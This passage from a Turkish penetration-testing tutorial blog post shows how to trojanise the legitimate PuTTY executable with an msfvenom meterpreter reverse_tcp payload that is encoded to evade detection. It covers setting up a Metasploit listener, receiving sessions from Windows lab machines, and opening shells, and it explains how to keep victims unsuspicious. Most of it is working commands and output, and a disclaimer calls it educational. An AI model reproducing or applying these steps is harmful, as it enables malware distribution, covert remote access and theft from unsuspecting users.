Sonra kurbanların dosyaları çalıştırdıklarını varsayalım.

Windows XP



Windows 10



Windows Server 2012



Bu sıralarda saldırganın sisteminde oturumların elde edildiğine dair çıktılar belirecektir.

Çıktı:

[*] Sending stage (179779 bytes) to Y.Y.Y.Y
[*] Meterpreter session 4 opened (X.X.X.X:443 -> Y.Y.Y.Y:49223)
[*] Session ID 4 (X.X.X.X:443 -> Y.Y.Y.Y:49223) processing 
    AutoRunScript 'post/windows/manage/migrate'
[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: deneme.exe (728)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 804
[+] Successfully migrated to process 804

[*] Sending stage (179779 bytes) to Z.Z.Z.Z
[*] Meterpreter session 5 opened (X.X.X.X:443 -> Z.Z.Z.Z:1044)
[*] Session ID 5 (X.X.X.X:443 -> 172.16.3.77:1044) processing 
    AutoRunScript 'post/windows/manage/migrate'
[*] Running module against PENTEST-WINXP
[*] Current server process: deneme.exe (2972)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3068
[+] Successfully migrated to process 3068

[*] Sending stage (179779 bytes) to T.T.T.T
[*] Meterpreter session 6 opened (X.X.X.X:443 -> T.T.T.T:1756)
[*] Session ID 6 (X.X.X.X:443 -> 172.16.3.111:1756) processing 
    AutoRunScript 'post/windows/manage/migrate'
[*] Running module against SGELPENTEST01
[*] Current server process: deneme.exe (3660)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 10884
[+] Successfully migrated to process 10884

((( Bir kere ENTER ))))

msf exploit(multi/handler) >   ((( Çıktıların konsolu işgali son bulur ))))

Elde edilen oturumlar nelermiş bakılır.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions

Çıktı:

Active sessions
===============

Id Type                     Information             Connection
-- ----                     -----------             ----------
4  meterpreter x86/windows  WIN-VJ7UU\Administrator X.X.X.X:443 -> 
                            @ WIN-VJ7UU9G4VTO       Y.Y.Y.Y:49159 (A.B.C.D)
5  meterpreter x86/windows  PENTEST-WINXP\pentest   X.X.X.X:443 -> 
                            @ PENTEST-WINXP         T.T.T.T:1040 (E.F.G.H)
6  meterpreter x86/windows  HFSPENTEST\pentest      X.X.X.X:443 -> 
                            @ HFSPENTEST01          K.K.K.K:1881 (I.J.K.L)

Bir oturuma geçilebilir.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions -i 5

Çıktı:

[*] Starting interaction with 5...

meterpreter > ((((( İçerdeyiz )))))


Sızdığımız sistemin komut satırını alabiliriz ve işletim sistemi & versiyon bilgisini öğrenebiliriz.

Kali Linux Terminal:

meterpreter > shell

Çıktı:

Process 2236 created.
Channel 1 created.
Microsoft Windows XP [Sürüm 5.1.2600]
(C) Telif Hakkı 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest\Desktop >   (((( Komut Satırını Aldık ))))


Kali Linux Terminal:

C:\Documents and Settings\pentest\Desktop > systeminfo | findstr /C:"OS"

Çıktı:

OS Sürümü:             5.1.2600 Service Pack 2 2600
BIOS Sürümü:           VBOX -1


Son olarak sızdığımız bu sistemin masaüstü öğelerini görüntüleyelim.


Kali Linux Terminal:

C:\Documents and Settings\pentest\Desktop> dir

Çıktı:

 C s�r�c�s�ndeki birimin etiketi yok.
 Birim Seri Numaras�: XYZ-ABC

 C:\Documents and Settings\pentest\Desktop dizini

09.11.2018  14:33    <DIR>          .
09.11.2018  14:33    <DIR>          ..
28.01.2018  08:22             1.607 123.hex
24.05.2016  14:53            37.888 backdoor.exe
09.11.2018  14:32            61.952 deneme.exe
25.01.2018  13:17                 7 deneme.txt
22.11.2016  20:05               801 downloadfile.vbs
28.01.2018  14:09           308.736 incoming.exe
08.12.2016  01:02               104 Internet Explorer.lnk
19.02.2016  20:40           103.772 kelime k�k� bulmaca.rtf
04.11.2016  21:30             6.332 msf.pdf
28.01.2018  11:56            59.392 nc.exe
04.11.2016  21:44    <DIR>          Not K��em
09.11.2018  12:20           111.104 notepad.exe
24.05.2016  14:48            37.888 vnc.exe
05.07.2018  15:23             5.600 Vulnerability Reflected Cross Site  
                                    Damn Vulnerable Web Application.htm
05.07.2018  15:23    <DIR>    Vulnerability Reflected Cross Site  
                                    Damn Vulnerable Web Application
06.07.2018  12:42               138 Yeni Metin Belgesi.txt
09.11.2016  13:30             6.328 zararliBelge.pdf
              15 Dosya          741.649 bayt
               4 Dizin    3.161.157.632 bayt bo�

Evet, sisteme sızdığımızı teyit ettikten sonra artık bu makale zincirinin öncesinde bahsedilen meterpreter yeteneklerini kullanarak dilediğinizi yetkileriniz ölçüsünde yapabilirsiniz.

iii) Sosyal Mühendislik İle Sızma Uygulaması # Örnek 3

Şimdi ise tekrarladığımız senaryoyu bu sefer piyasada genellikle sistem yöneticileri için geliştirilmiş olan Putty.exe yazılımının şablonuyla yine tekrarlayalım ve bu makaleyi burada noktalayalım. Bu son örnek ile saldırıya hedef olan kullanıcı makinalarında kullanıcılara nasıl bir intiba uyandırabileceğinize dair bir fikir edinmiş olacaksınız.

Payload'umuza şablon olarak kullanacağımız Putty yazılımı şu şekildedir:





Putty İndirme Linki:
https://www.chiark.greenend.org.uk/~sgtatham/
putty/latest.html


Piyasada Putty ismiyle yayınlanmış zararsız bu uygulamayı şimdi virüslü yapalım.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.3.73 LPORT=443 -a x86 --platform windows -x /root/Downloads/putty.exe -k -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o Desktop/putty.exe

Çıktı:


Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 810496 bytes

Saved as: Desktop/putty.exe

Ardından önceki senaryodan arta kalanları sonlandıralım ve tekrar dinleme moduna geçelim.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions -k 4,5,6     // pidNo,pidNo,...
msf exploit(multi/handler) > jobs -k 1             // jobs -k jobID

msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost X.X.X.X                             // Kali Linux IP si
msf> set lport 443
msf> set ExitOnSession false
msf> exploit -j

Çıktı:

[*] Exploit running as background job 1.
[*] Started reverse TCP handler on X.X.X.X:443
msf exploit(multi/handler) >


Dikkat ederseniz daha önceki iki örnekte kullanılan

msf> set AutoRunScript post/windows/manage/migrate
msf> set NAME explorer.exe


satırları bu sefer kullanılmadı. Çünkü kullanıcının legal yazılımın arayüzünü ekranında olağan şekilde görüntülemesini ve şüphelenmemesini sağlamak istiyoruz.

Şimdi oluşturduğumuz putty.exe dosyasını internete koyduğumuzu ve kurbanların da indirdiklerini varsayalım.

Windows XP



Windows 10



Windows Server 2012



Ardından kurbanların indirdikleri dosyaları çalıştırdıklarını varsayalım.



Windows XP



Windows 10



Windows Server 2012





Bu sıralarda saldırganın sisteminde oturumların elde edildiğine dair çıktılar belirecektir.

Çıktı:


msf exploit(multi/handler) >    ((( Beklerken oturumlar gelir )))

[*] Sending stage (179779 bytes) to Y.Y.Y.Y
[*] Meterpreter session 4 opened (X.X.X.X:443 -> Y.Y.Y.Y:1050)
[*] Sending stage (179779 bytes) to Z.Z.Z.Z
[*] Meterpreter session 5 opened (X.X.X.X:443 -> Z.Z.Z.Z:49159)
[*] Sending stage (179779 bytes) to 172.16.3.111
[*] Meterpreter session 6 opened (X.X.X.X:443 -> T.T.T.T:1667)

((( Bir kez ENTER )))

msf exploit(multi/handler) >  (( Konsol arayüzü yine gelir ))

Şimdi elde ettiğimiz oturumları listeleyelim.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions


Çıktı:

Active sessions
===============

Id Type                     Information             Connection
-- ----                     -----------             ----------
7  meterpreter x86/windows  WIN-VJ7UU\Administrator X.X.X.X:443 -> 
                            @ WIN-VJ7UU9G4VTO       Y.Y.Y.Y:49159 (A.B.C.D)
8  meterpreter x86/windows  PENTEST-WINXP\pentest   X.X.X.X:443 -> 
                            @ PENTEST-WINXP         T.T.T.T:1040 (E.F.G.H)
9  meterpreter x86/windows  HFSPENTEST\pentest      X.X.X.X:443 -> 
                            @ HFSPENTEST01          K.K.K.K:1881 (I.J.K.L)

Şimdi oturumlardan birine id'si ile geçiş yapalım.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions -i 8

Çıktı:

[*] Starting interaction with 8...

meterpreter >  ((( İçerdeyiz ))

Şimdi hedef sistemin komut satırını alalım ve işletim sistemi & versiyonunu öğrenelim.

Kali Linux Terminal:
meterpreter > shell


Çıktı:

Process 1464 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>


Kali Linux Terminal:

C:\Documents and Settings\pentest\Desktop > systeminfo | findstr /C:"OS"

Çıktı:

OS Name:                 Microsoft Windows Server 2012 R2 Standard
OS Version:              X.Y.Z. N/A Build ABCDEF
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Server
OS Build Type:           Multiprocessor Free
BIOS Version:            ABC DEF, X.Y.Z

Son olarak sızdığımız bu sistemin masaüstü öğelerini görüntüleyelim. Kali Linux Terminal:

C:\Users\Administrator\Desktop> dir


Çıktı:

 Volume in drive C has no label.
 Volume Serial Number is ABC-FDEF

 Directory of C:\Users\Administrator\Desktop

12.11.2018  07:30    <DIR>          .
12.11.2018  07:30    <DIR>          ..
09.11.2018  14:32            61.952 deneme.exe
08.11.2018  15:46           111.104 notepad.exe
12.11.2018  07:29           810.496 putty.exe
               3 File(s)        983.552 bytes
               2 Dir(s)  27.001.946.112 bytes free

C:\Users\Administrator\Desktop>

Evet, son bir not daha ekleyelim ve yazıyı noktalayalım. Putty yazılımını ekranında görüntüleyen kurban Putty'yi normal bir şekilde kullanabilecektir. Örneğin kurban indirdiği putty programının uzak bir sisteme güvenli bağlantı kur (SSH) özelliğini sorunsuzca kullanabilir. Ancak bu sırada meterpreter payload'umuz Putty process'inin içerisinde ayrı bir thread olarak çalışacağından sistemin içerisinde sessiz sedasız faaliyetlerde bulunabiliriz. Aşağıda virüslü putty yazılımının örneğin güvenli bağlantı kur özelliğinin sorunsuzca kullanılabildiği gösterilmiştir:











Görüldüğü üzere programın ssh bağlantısı kurma özelliğinden faydalanarak sorunsuz bir şekilde bir makinaya bağlantı kurabildik.

Evet, makalenin ve bu makalenin yer aldığı makale zincirinin sonuna gelmiş bulunmaktayız. Edindiğiniz bilgileri milli ve yerli sistemlerin korunması yolunda harcamanız dileğiyle...

Sorumluluk Reddi
Bu makale ve bu makalenin yer aldığı makale zincirinde anlatılan her bir tekniğin izinsizce bir sisteme denenmesi sonucu tespit edilmeniz durumunda 5 ila 10 yıl hapis cezasına çarptırılabileceğinizi ve ayrıyetten yaptığınız hasara oranla maddi tazminat cezasına çarptırılabileceğinizi bildiğinizi varsayıyorum. Tüm bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili olursanız olun "güvenilmez" damgası yiyeceğinizden Türkiye'de siber güvenlik sektörünü unutmak mecburiyetinde kalacağınızı da bildiğinizi varsayıyorum. Bu makale ve bu makalenin yer aldığı makale zincirinde eğitim amaçlı anlatılan tekniklerin kötü yönde kullanılmasından tarafım sorumlu tutulamaz. Bu bilgiler sadece ve sadece ülkemizde siber güvenlik alanındaki eleman eksikliğini gidermek maksadıyla paylaşılmaktadır. Makale içerisinde yer alan bazı kelime kalıplarının (örn; "sızmak istediğimiz / saldırmak istediğimiz" gibi) sadece ve sadece bir sızma testçi (pentester) bakış açısından ibaret olduğunu beyan etmek isterim.
Yararlanılan Kaynaklar:

Bu yazı 14.11.2018 tarihinde, saat 12:36:20'de yazılmıştır. 04.12.2018 tarihi ve 05:47:09 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 72
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :